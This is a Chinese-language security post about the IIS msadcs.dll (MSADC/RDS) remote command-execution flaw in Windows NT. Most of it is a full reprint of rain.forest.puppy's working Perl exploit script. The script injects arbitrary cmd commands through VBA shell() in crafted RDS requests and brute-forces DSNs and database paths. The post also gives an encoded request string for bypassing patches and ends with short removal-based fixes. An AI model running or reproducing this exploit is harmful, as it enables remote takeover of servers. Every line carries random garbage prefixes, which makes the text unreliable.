IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
# C4 \f0I:%- 涉及程序：
@5Ril9J[b Microsoft NT server
Mz+|~'R rm(<?w%'? 描述：
`H ^Nc\P# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
DQH _@-q aztP`S$h 详细：
4D9l Za} 如果你没有时间读详细内容的话，就删除:
XC0G5r tB c:\Program Files\Common Files\System\Msadc\msadcs.dll
3 +BPqhzf 有关的安全问题就没有了。
qmOGsj`# 8p> %}LX/ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
htlsU*x a%Cq?HZ7 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
/ D#vs9S 关于利用ODBC远程漏洞的描述，请参看:
24 1YJ SU2 (XP]5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (al 7/EhY fZxZ):7i 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Nki 18ud# http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9%kY8#%SV -!(3fO: 这里不再论述。
U|-4*l9Ed {eqUEdC 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
#B)/d?aa' m{(D*Vuqd /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ldanM>5 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
>sPu*8D40a tN";o\!} 2,q^O3F #将下面这段保存为txt文件，然后: "perl -x 文件名"
qPH]DabpI p0` Wci #!perl
\*!g0C 8 o #
.Eh~$wm # MSADC/RDS 'usage' (aka exploit) script
1Qhx$If~ #
;oWh Tj` # by rain.forest.puppy
o9q%= /@, #
~e , # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(3{'GX2c # beta test and find errors!
=u${2 = #e+ % ;5\ use Socket; use Getopt::Std;
&Mo=V4i> getopts("e:vd:h:XR", \%args);
d7$H})[^ T* -*U / print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@ \u)k %jKR\f G if (!defined $args{h} && !defined $args{R}) {
@Eqc&v!O print qq~
g%1!YvS3v Usage: msadc.pl -h <host> { -d <delay> -X -v }
91mXv Q:u -h <host> = host you want to scan (ip or domain)
#x)G2T'? -d <seconds> = delay between calls, default 1 second
V{ra,a* -X = dump Index Server path table, if available
H<X4R -v = verbose
P}DrUND -e = external dictionary file for step 5
L1P]T4a@) _
CXKJ]m4 Or a -R will resume a command session
~W%A8`9 Wy)|-Q7 ~; exit;}
1fViW^l_ |>jlY| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
D : 8-f3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
j4ypXPY``! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
s2b!Nib if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?n\~&n'C $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@<W"$_ r- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
K]N ^6ome 6\OSIxJZF if (!defined $args{R}){ $ret = &has_msadc;
&"Ua"H) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s3/->1#i P]]9Sqo7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Qn[4 &nUD . "cmd /c ";
P ,CJy|[L $in=<STDIN>; chomp $in;
p
Ic ;9 $command="cmd /c " . $in ;
*G'zES0x @T?:[nPf&F if (defined $args{R}) {&load; exit;}
R 4E0avt .<rL2`C[c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kOF EH!9& &try_btcustmr;
_+z@Qn?#6h $J=9$.4" print "\nStep 2: Trying to make our own DSN...";
=
fuF]yL% &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7s<v06Wo \eI )(,A print "\nStep 3: Trying known DSNs...";
f*2V &known_dsn;
|cWW5\/ B/i,QBPF] print "\nStep 4: Trying known .mdbs...";
Q(oWaG &known_mdb;
7.8ukAud RTH dL if (defined $args{e}){
[^1;8Tbk print "\nStep 5: Trying dictionary of DSN names...";
kxTh tjgv &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
aNv6 " }Jjq] l W print "Sorry Charley...maybe next time?\n";
K )KE0/ n exit;
x%vt$dy*8 b0m1O. &I_ ##############################################################################
YAC=V?U-# xO"5bj sub sendraw { # ripped and modded from whisker
tG^Oj: sleep($delay); # it's a DoS on the server! At least on mine...
Ds&)0Iwf my ($pstr)=@_;
`(W
V pP? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pFGdm3p V die("Socket problems\n");
; vQ7[Pv.j if(connect(S,pack "SnA4x8",2,80,$target)){
)
;-AT^ select(S); $|=1;
xyBe*,u print $pstr; my @in=<S>;
q NC.| R select(STDOUT); close(S);
csH1X/3ha\ return @in;
qGl+KI } else { die("Can't connect...\n"); }}
vb5tyY0c `r+e! o ##############################################################################
v|t^th, rZ w& [ G sub make_header { # make the HTTP request
Ij@YOt my $msadc=<<EOT
~"
}t8`vP1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0-l
@U { User-Agent: ACTIVEDATA
uAK-%Uu? Host: $ip
?!Rl p/ Content-Length: $clen
X<,sc;"b`k Connection: Keep-Alive
OHp 121 ra_`NsKF} ADCClientVersion:01.06
fVb&=%e Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
g9GE0DbT` ~Jmn?9 3 --!ADM!ROX!YOUR!WORLD!
UZmz k Content-Type: application/x-varg
py
P5^Qv Content-Length: $reqlen
!_l W#feR ]c[80F- EOT
'ZT E"KT ; $msadc=~s/\n/\r\n/g;
.~ZNlI {K return $msadc;}
aR*z5p2-w Kdik7jL/J ##############################################################################
kp xd+w !Lk|eGd* sub make_req { # make the RDS request
DE."XSni my ($switch, $p1, $p2)=@_;
M!!W>A@T[g my $req=""; my $t1, $t2, $query, $dsn;
e u^z&R!um l'B`f) if ($switch==1){ # this is the btcustmr.mdb query
QmT]~4PqS $query="Select * from Customers where City=" . make_shell();
5<,}^4wWZ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:E@"4O?<Y) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
- ]W AB9 c< pr1g elsif ($switch==2){ # this is general make table query
[M
Z'i/ $query="create table AZZ (B int, C varchar(10))";
IUbYw~f3 $dsn="$p1";}
2[qO;js X/2Xr(z"k elsif ($switch==3){ # this is general exploit table query
{xr4CDP $query="select * from AZZ where C=" . make_shell();
LPO3B W $dsn="$p1";}
uD Q
d48> uJF, :}qA elsif ($switch==4){ # attempt to hork file info from index server
HMrS :: $query="select path from scope()";
_4x X}Z; $dsn="Provider=MSIDXS;";}
Tx `;y| "eZN ci elsif ($switch==5){ # bad query
z)]_ (zZ^ $query="select";
7=Ew[MOmM $dsn="$p1";}
S=eY`,'#R ~Q>97% $t1= make_unicode($query);
N/qr}-
3z $t2= make_unicode($dsn);
!yG{`#NZZ $req = "\x02\x00\x03\x00";
?9 :{p $req.= "\x08\x00" . pack ("S1", length($t1));
\96?OC dr $req.= "\x00\x00" . $t1 ;
D0lgKQ $req.= "\x08\x00" . pack ("S1", length($t2));
`: -{8Vo7 $req.= "\x00\x00" . $t2 ;
L*D-RY W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z"=#<C return $req;}
C;G~_if4PR WnvuB.(@3 ##############################################################################
efl6U/' Ij pWO,yxr: sub make_shell { # this makes the shell() statement
o*'J8El\y^ return "'|shell(\"$command\")|'";}
l?pZdAE ,DXN q`24 ##############################################################################
&>*f J wu/]M~XwI sub make_unicode { # quick little function to convert to unicode
|9~{&<^ X my ($in)=@_; my $out;
F1w~f
< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
jiC;*]n return $out;}
|Y0BnyGK K /g\x0 ##############################################################################
,*@m<{DX) ZV,n-M = sub rdo_success { # checks for RDO return success (this is kludge)
7K
{/2k my (@in) = @_; my $base=content_start(@in);
t
/EB
y"N# if($in[$base]=~/multipart\/mixed/){
%kKe"$ )0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&owBm pz return 0;}
_u dH(NC !3kyPoq+ ##############################################################################
fS w00F{T ?h<I:[oZ sub make_dsn { # this makes a DSN for us
CsQ}eW8uEf my @drives=("c","d","e","f");
n;xtUw6 \ print "\nMaking DSN: ";
$s)G0/~W foreach $drive (@drives) {
CLdLO u" print "$drive: ";
2%rAf8= my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
O5{
>k "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O-U_Zx0zd . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[ 3]!*Cd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%a{cJ6P return 0 if $2 eq "404"; # not found/doesn't exist
w`CGDF\Oo if($2 eq "200") {
e7{3:y|]d3 foreach $line (@results) {
*jCXH<?R
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
( T VzYm
y } return 0;}
D?) "Z$ %K\_gR}V ##############################################################################
J 2v=b?NE ,xn+T)2I sub verify_exists {
iRPt0?$ my ($page)=@_;
Q|"{<2"]U0 my @results=sendraw("GET $page HTTP/1.0\n\n");
cPPE8}PVH return $results[0];}
1Ty{k^ % N|h`}*:x= ##############################################################################
y9=/kFPR m QG4#E$ c sub try_btcustmr {
_E{SGbCCi my @drives=("c","d","e","f");
J&@[=zBYw my @dirs=("winnt","winnt35","winnt351","win","windows");
S5-}u)XnH AVZ -g/<
foreach $dir (@dirs) {
_`+
!,kG[ print "$dir -> "; # fun status so you can see progress
g%4-QCZ, foreach $drive (@drives) {
K9m L1 [B print "$drive: "; # ditto
V2^(qpM! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
{I@@i8)] $reqlenlen=length( "$reqlen" );
yCf*ts1 $clen= 206 + $reqlenlen + $reqlen;
53= VIN] \(cu<{=rU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
eg3zp gZ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ME > OTs else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|FS79 Bv OU]!2[7c ##############################################################################
so9h6K{qcp W&;X+XA_W sub odbc_error {
S_y!4;]ox my (@in)=@_; my $base;
3G~ T_J & my $base = content_start(@in);
B ;SYO>.W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
PxM]3Aoa $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gm}ecW $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LrX7WI $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%i]q} M return $in[$base+4].$in[$base+5].$in[$base+6];}
JcvWE
$ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%t([ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0vqXLFf $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
pfe9 n[ C o4QWyt: ##############################################################################
_ncqd,&z '&I.w p`^ sub verbose {
t9Ht
5 4 my ($in)=@_;
|dsd5V dr return if !$verbose;
5s ao+dZ"| print STDOUT "\n$in\n";}
m;>HU Tj N32!*TsWs ##############################################################################
?i>.<IPOq )|~pocXt< sub save {
~]*P/'-{# my ($p1, $p2, $p3, $p4)=@_;
j,K]T J open(OUT, ">rds.save") || print "Problem saving parameters...\n";
u%Bk"noCa print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*T $`5| close OUT;}
nAZuA]p}S] 2 1O!CvX ##############################################################################
? DWF7{1 ;[R{oW
Nw sub load {
k#_B^J&d my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f\nF2rlu open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]E .+)> @p=<IN>; close(IN);
8`EzvEm $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"~:o#~F6 $target= inet_aton($ip) || die("inet_aton problems");
U!r2`2LY print "Resuming to $ip ...";
~c%H3e>Jcq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
wN-3@ if($p[1]==1) {
R*`A',]:9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
i(Cd#1< $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
02g}}{be8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4nmc(CHQ: if (rdo_success(@results)){print "Success!\n";}
g""1f%U_p else { print "failed\n"; verbose(odbc_error(@results));}}
g)u
~GA*= elsif ($p[1]==3){
iq)4/3"6 if(run_query("$p[3]")){
y/Fv4 <X print "Success!\n";} else { print "failed\n"; }}
{9q~bt elsif ($p[1]==4){
ykrb/j|rK if(run_query($drvst . "$p[3]")){
%>_ZUu3M print "Success!\n"; } else { print "failed\n"; }}
.S>:-j'u exit;}
1@JAY!yoo_ Bd*:y qi ##############################################################################
\Bg;}\8 X cs `T7?> sub create_table {
NRe{0U}nO my ($in)=@_;
nsQx\Tnhx $reqlen=length( make_req(2,$in,"") ) - 28;
~5<-&Dyp7 $reqlenlen=length( "$reqlen" );
I,OEor6%R( $clen= 206 + $reqlenlen + $reqlen;
h[b; _>7 my @results=sendraw(make_header() . make_req(2,$in,""));
O~N0J K_> return 1 if rdo_success(@results);
MKq:=^ w my $temp= odbc_error(@results); verbose($temp);
7d hi p return 1 if $temp=~/Table 'AZZ' already exists/;
PJA%aRP,: return 0;}
d #9
\]Ul& g]PmmK_L ##############################################################################
`bw>.Ay Sq u'd sub known_dsn {
ZT:&j4A|0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
FGo{6'K(: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GLrHb 3@"N "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]|ew!N$ar= "banner", "banners", "ads", "ADCDemo", "ADCTest");
. Xn w@\k' }ac0} foreach $dSn (@dsns) {
O>9+ tQ print ".";
f'` QW@U next if (!is_access("DSN=$dSn"));
)F
Q
'^ if(create_table("DSN=$dSn")){
pT\>kqmj print "$dSn successful\n";
6}zargu(; if(run_query("DSN=$dSn")){
c193Or'6Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
MO|aN, print "Something's borked. Use verbose next time\n";}}} print "\n";}
[}Vne ;V `./$hh ##############################################################################
X C"]/ y Goa0OC, sub is_access {
D=uU:7m my ($in)=@_;
EUZ#o\6 $reqlen=length( make_req(5,$in,"") ) - 28;
{WfZE&B $reqlenlen=length( "$reqlen" );
q ^ N I $clen= 206 + $reqlenlen + $reqlen;
S C/| o
my @results=sendraw(make_header() . make_req(5,$in,""));
e=S51q_0 my $temp= odbc_error(@results);
:!H]gC
4 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3m:[ o`L return 0;}
}{/3yXk[G YBb%D ##############################################################################
@k~'b uf4C+ci sub run_query {
32j@6! my ($in)=@_;
I*8i=O@0T $reqlen=length( make_req(3,$in,"") ) - 28;
3~v' Ev $reqlenlen=length( "$reqlen" );
Sxo9y0K8- $clen= 206 + $reqlenlen + $reqlen;
oRmz'F my @results=sendraw(make_header() . make_req(3,$in,""));
=g)|g+[H return 1 if rdo_success(@results);
K'z|a{ru.{ my $temp= odbc_error(@results); verbose($temp);
#Duz|F+% return 0;}
hZ6CiEJB #;,dk(URo ##############################################################################
:=9?XzC C ^UTQc m sub known_mdb {
7` AQn], my @drives=("c","d","e","f","g");
}Fy~DsQ my @dirs=("winnt","winnt35","winnt351","win","windows");
|]FJfMX my $dir, $drive, $mdb;
92zo+bc my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q {v? 2v{ h~|B/.[R:3 # this is sparse, because I don't know of many
)w\E^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
{Yp>h5nwM_ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
it ?l! ~ "\\system32\\certmdb.mdb",
Ps=OL\i "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\ H
<k Y v 22,|: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&)Y26*(` "\\cfusion\\cfapps\\forums\\forums_.mdb",
ZmM/ YPy "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]3UEju8$ "\\cfusion\\cfapps\\security\\realm_.mdb",
';<g c5EK "\\cfusion\\cfapps\\security\\data\\realm.mdb",
1Q-O&\-xg "\\cfusion\\database\\cfexamples.mdb",
=P>c 1T1- "\\cfusion\\database\\cfsnippets.mdb",
cbsU!8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|-kU]NJFR "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}AdA?
:7A "\\cfusion\\brighttiger\\database\\cleam.mdb",
9[# 9cv "\\cfusion\\database\\smpolicy.mdb",
# {97<sU\ "\\cfusion\\database\cypress.mdb",
9& (d2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
H$GJpXIb "\\website\\cgi-win\\dbsample.mdb",
-U'3kaX5< "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
R Ptc \4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
zg)-RC G ); #these are just
7ip$#pzo foreach $drive (@drives) {
G+G d ;`4 foreach $dir (@dirs){
yc ize2>q foreach $mdb (@sysmdbs) {
u!wR print ".";
9a4Xf%!F>z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
w'uI~t4 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=/_tQR~ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#|\w\MJamP print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Qe8F( k~k } else { print "Something's borked. Use verbose next time\n"; }}}}}
)8ub1,C x""gZzJ$L foreach $drive (@drives) {
ea n_/E foreach $mdb (@mdbs) {
K 7o!,['W print ".";
f;"; P if(create_table($drv . $drive . $dir . $mdb)){
2|Of$oMc print "\n" . $drive . $dir . $mdb . " successful\n";
3e Owy~ if(run_query($drv . $drive . $dir . $mdb)){
UvwO/A\Gv print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
f]N.$,:$ } else { print "Something's borked. Use verbose next time\n"; }}}}
T_T@0`7 }
!{h C99q6 |/Q7 o1i ##############################################################################
E RnuM %OS}BAh^i sub hork_idx {
T4H/D^X| print "\nAttempting to dump Index Server tables...\n";
.aJ\^Fx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
J-Xw}|>@ $reqlen=length( make_req(4,"","") ) - 28;
QPL6cU$&R
$reqlenlen=length( "$reqlen" );
oaxCcB=\ $clen= 206 + $reqlenlen + $reqlen;
k {M4.a[ ( my @results=sendraw2(make_header() . make_req(4,"",""));
G.#`DaP if (rdo_success(@results)){
x+1Cs$E; my $max=@results; my $c; my %d;
W ='c+3O6 for($c=19; $c<$max; $c++){
; S,k
U{F $results[$c]=~s/\x00//g;
{& Pk$Q! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#ZFedK0vv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|ATz<"q> $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
WX2:c,%: $d{"$1$2"}="";}
$? voQ & foreach $c (keys %d){ print "$c\n"; }
="yN4+0-p } else {print "Index server doesn't seem to be installed.\n"; }}
T ~=r* 4 ?_hKhn%K9
##############################################################################
)83UF
r4kP <m") 2dJ sub dsn_dict {
x d 9+P open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-1~-uE.~4d while(<IN>){
CC8M1iW3 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Nd5G-eYI next if (!is_access("DSN=$dSn"));
6.uyY@Yx if(create_table("DSN=$dSn")){
? zFeP6C print "$dSn successful\n";
"t[9EbFL if(run_query("DSN=$dSn")){
>gQJ6 q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}@+3QHwYU print "Something's borked. Use verbose next time\n";}}}
-o\o{?t, print "\n"; close(IN);}
xbZ x&`( 16;r+.FB ' ##############################################################################
n2e#rn +`y{r^xD sub sendraw2 { # ripped and modded from whisker
ihv=y\Jt sleep($delay); # it's a DoS on the server! At least on mine...
l y!vbpE_ my ($pstr)=@_;
Rv-`6eyAA socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%Y0, ww2 die("Socket problems\n");
H NF G:t9 if(connect(S,pack "SnA4x8",2,80,$target)){
6b v~E. print "Connected. Getting data";
6a_MA*XK open(OUT,">raw.out"); my @in;
UaW,#P select(S); $|=1; print $pstr;
@/(\YzQvp] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?p&CR[ close(OUT); select(STDOUT); close(S); return @in;
HUP~ } else { die("Can't connect...\n"); }}
p,(gv])ie Jf#Ika&px ##############################################################################
SVJL|S 3k &?(<6v7 sub content_start { # this will take in the server headers
!z EW) my (@in)=@_; my $c;
9FGe (t < for ($c=1;$c<500;$c++) {
*wv d[q h if($in[$c] =~/^\x0d\x0a/){
*9XKkR<r if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
pfs'2AFj else { return $c+1; }}}
r)4GH%+?fv return -1;} # it should never get here actually
$oPx2sb //x^[fkNq) ##############################################################################
[9hslk g ?TPRr~$9 sub funky {
MXVQ90 my (@in)=@_; my $error=odbc_error(@in);
pZVT:qFF if($error=~/ADO could not find the specified provider/){
5o v F$qn print "\nServer returned an ADO miscofiguration message\nAborting.\n";
D7X8yv1 exit;}
&3@ {?K if($error=~/A Handler is required/){
-[h2fqu1 print "\nServer has custom handler filters (they most likely are patched)\n";
YI877T9> exit;}
@pV~Q2% if($error=~/specified Handler has denied Access/){
u !]g^r print "\nServer has custom handler filters (they most likely are patched)\n";
E}YJGFB7" exit;}}
*VP-fyJp sf7~hN*
##############################################################################
Fj_6jsDb )U2cS\k'7n sub has_msadc {
Bv=
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Qr u
iQ/t my $base=content_start(@results);
%>)HAx ` return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
CXAW>VdK_ return 0;}
uPbGQ :%} x>C_O \ ########################
g-4m.; yA+ NRWWj 88]4 GVi 解决方案：
NZ|(# ` X 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?3duW$` 2、移除web 目录: /msadc
